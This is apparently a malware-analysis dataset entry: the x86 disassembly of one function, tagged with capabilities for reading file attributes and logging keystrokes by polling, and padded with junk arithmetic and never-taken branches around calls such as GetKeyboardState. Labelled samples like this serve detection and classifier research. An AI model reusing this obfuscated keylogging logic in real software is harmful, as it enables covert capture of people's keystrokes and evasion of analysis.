Function at 0x1004b7ce
Capabilities:
Get file attributes
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
push ebx
push esi
push edi
mov ebx, ecx
lea ecx, [ebp - 0x50]
push 2
mov dword [ebp - 0x44], ebx
call fcn.10016409
mov dword [ebp - 8], 0x1c29000d
xor edx, edx
mov dword [ebp - 0x34], 0xfc35327
mov dword [ebp - 0x38], 0xfffffffb
mov dword [ebp - 0x28], 6
mov dword [ebp - 0x18], edx
jmp 0x1004b819
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x50]
mov dword [eax + ecx*4], 0x13b91020
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1004b809
xor edi, edi
inc edi
mov dword [ebp - 8], edi
cmp dword [ebp - 8], edx
jl 0x1004ba3e
mov dword [ebp - 0x10], 0xe55059b8
mov dword [ebp - 0x18], 2
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x20], 0x7a2e4284
mov dword [ebp - 0x3c], 0x9ee1
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x10], edx
jmp 0x1004ba29
mov dword [ebp - 0xc], 0xffffffff
mov dword [ebp - 0x14], 0xca335c22
mov dword [ebp - 0x28], 0xfffffffa
mov dword [ebp - 0x24], 0xfffffff7
mov dword [ebp - 0x24], 0x4572090f
cmp dword [ebp - 0xc], edx
je 0x1004b8aa
cmp dword [ebp - 0x10], edx
jne 0x1004b890
mov eax, edx
cmp dword [ebp - 0xc], edx
je 0x1004b892
mov eax, edi
mov dword [ebp - 0x14], eax
xor edx, edx
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xc]
cmp ecx, eax
setl dl
mov dword [ebp - 0x30], edx
xor edx, edx
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 8]
mov dword [ebp - 0x20], eax
jne 0x1004b8c5
mov ebx, edx
cmp dword [ebp - 0x20], edx
je 0x1004b8c7
mov ebx, edi
mov edi, dword [ebp - 8]
xor edx, edx
mov ecx, dword [ebp - 8]
mov esi, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [eax + ecx*4]
mov dword [esi + edi*4], eax
mov eax, dword [ebp - 8]
cmp ebx, eax
mov eax, dword [ebp - 0x28]
setg dl
xor ecx, ecx
cmp edx, eax
setge cl
xor eax, eax
cmp ecx, 0x3efe35fe
setle al
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [esi + edi*4]
sub ecx, eax
mov dword [ebp - 0x24], ecx
jne 0x1004b916
xor edx, edx
cmp dword [ebp - 0x10], edx
jne 0x1004b918
xor edi, edi
mov ecx, edx
inc edi
jmp 0x1004b91d
xor edx, edx
xor edi, edi
inc edi
mov ecx, edi
mov eax, dword [ebp - 0x38]
add eax, ecx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x18], edx
jmp 0x1004ba1c
mov dword [ebp - 0x40], 0x5b62
mov dword [ebp - 0xc], 0xfffffff2
jmp 0x1004ba0f
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x14], 0xffffffff
jmp 0x1004b9e9
mov dword [ebp - 0x1c], 0xdfe1db4d
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 0x50]
cmp dword [eax + ecx*4], edx
jne 0x1004b964
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x10], edx
je 0x1004b96c
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x40]
cmp eax, 0xfffffffc
mov esi, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
setg cl
sub esi, ecx
neg esi
sbb esi, esi
xor edx, edx
inc esi
cmp esi, eax
mov eax, dword [ebp - 0x14]
setl dl
xor ecx, ecx
cmp edx, eax
mov eax, 0x82c5a4ec
setge cl
cmp eax, ecx
sbb eax, eax
xor edx, edx
inc eax
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 0x50]
cmp dword [eax + ecx*4], edx
je 0x1004b9e1
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x28]
cmp eax, ecx
mov eax, dword [ebp - 0x1c]
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x28]
setle cl
xor edx, edx
sub eax, ecx
sub eax, dword [ebp - 8]
add eax, dword [ebp - 0x1c]
mov eax, edi
jne 0x1004b9e3
mov eax, edx
mov dword [ebp - 0x24], eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x20
jne 0x1004b94f
mov byte [ebp - 1], dl
cmp byte [ebp - 1], 0
je 0x1004ba0c
push edx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
xor edx, edx
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 4
jne 0x1004b940
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x1c
jne 0x1004b92d
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jle 0x1004b85c
dec dword [ebp - 8]
jns 0x1004b82e
mov ebx, dword [ebp - 0x44]
lea ecx, [ebp - 0x50]
call fcn.1001648e
push ebx
push edi
call fcn.100474ec
pop ecx
pop ecx
push edi
lea ecx, [ebp - 0x5c]
call fcn.10016409
xor edx, edx
mov dword [ebp - 8], edi
mov dword [ebp - 8], edx
jmp 0x1004ba6e
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 0x5c]
mov dword [eax + ecx*4], edx
inc dword [ebp - 8]
cmp dword [ebp - 8], edi
jl 0x1004ba62
mov dword [ebp - 8], edx
jmp 0x1004ba86
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x2c], 0xffffffff
inc dword [ebp - 8]
cmp dword [ebp - 8], edi
jl 0x1004ba78
mov byte [ebp - 1], dl
cmp byte [ebp - 1], dl
je 0x1004ba9c
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor edx, edx
mov dword [ebp - 8], edx
cmp dword [ebp - 8], edx
jl 0x1004bbb9
mov eax, dword [ebp - 8]
xor edx, edx
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 0x5c]
cmp dword [eax + ecx*4], 0xffff2925
setne dl
cmp edx, dword [ebp - 8]
jge 0x1004bacc
cmp dword [ebp - 8], 0
je 0x1004bacc
mov eax, edi
jmp 0x1004bace
xor eax, eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0x5c]
mov eax, dword [ecx + eax*4]
imul eax, dword [ecx]
dec eax
neg eax
sbb eax, eax
xor esi, esi
neg eax
cmp esi, eax
sbb eax, eax
inc eax
sub eax, dword [ecx + edx*4]
neg eax
sbb eax, eax
inc eax
cmp eax, dword [ecx]
je 0x1004bafd
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 0x2c]
mov esi, dword [ebp - 0x2c]
mov edx, dword [ebp - 8]
neg esi
mov eax, dword [ebp - 8]
sbb esi, esi
xor ecx, ecx
neg esi
cmp esi, eax
setl cl
sub ecx, dword [ebp - 8]
mov eax, dword [ebp - 0x5c]
cmp dword [eax + edx*4], ecx
mov byte [ebp - 1], 0
jle 0x1004bb70
cmp byte [ebp - 1], 0
je 0x1004bb4b
push edi
push 0xa3d
push 0x124c
call dword [sym.imp.USER32.dll_AttachThreadInput]
mov byte [ebp - 1], 0
cmp byte [ebp - 1], 0
je 0x1004bb97
push 0x79b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RestoreDC]
jmp 0x1004bb97
cmp byte [ebp - 1], 0
je 0x1004bb7e
push 0
call dword [sym.imp.USER32.dll_GetKeyboardState]
mov byte [ebp - 1], 0
cmp byte [ebp - 1], 0
je 0x1004bb97
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_RemovePropA]
mov byte [ebp - 1], 0
cmp byte [ebp - 1], 0
je 0x1004bbb0
push 0x1637
push 0
push 0
call dword [sym.imp.GDI32.dll_TranslateCharsetInfo]
dec dword [ebp - 8]
jns 0x1004baa8
lea ecx, [ebp - 0x5c]
call fcn.1001648e
push ebx
call fcn.1002eb7a
pop ecx
push 2
lea ecx, [ebp - 0x68]
mov esi, eax
call fcn.10016409
mov dword [ebp - 0x18], 0x2236432a
mov dword [ebp - 0x1c], 0
jmp 0x1004bbf4
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x68]
mov dword [eax + ecx*4], 0x9b55bb2c
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1004bbe4
mov dword [ebp - 0x18], edi
cmp dword [ebp - 0x18], 0
jl 0x1004bc27
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x44], 4
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x68]
mov dword [eax + ecx*4], edx
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x44], eax
dec dword [ebp - 0x18]
jns 0x1004bc03
lea ecx, [ebp - 0x68]
call fcn.1001648e
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret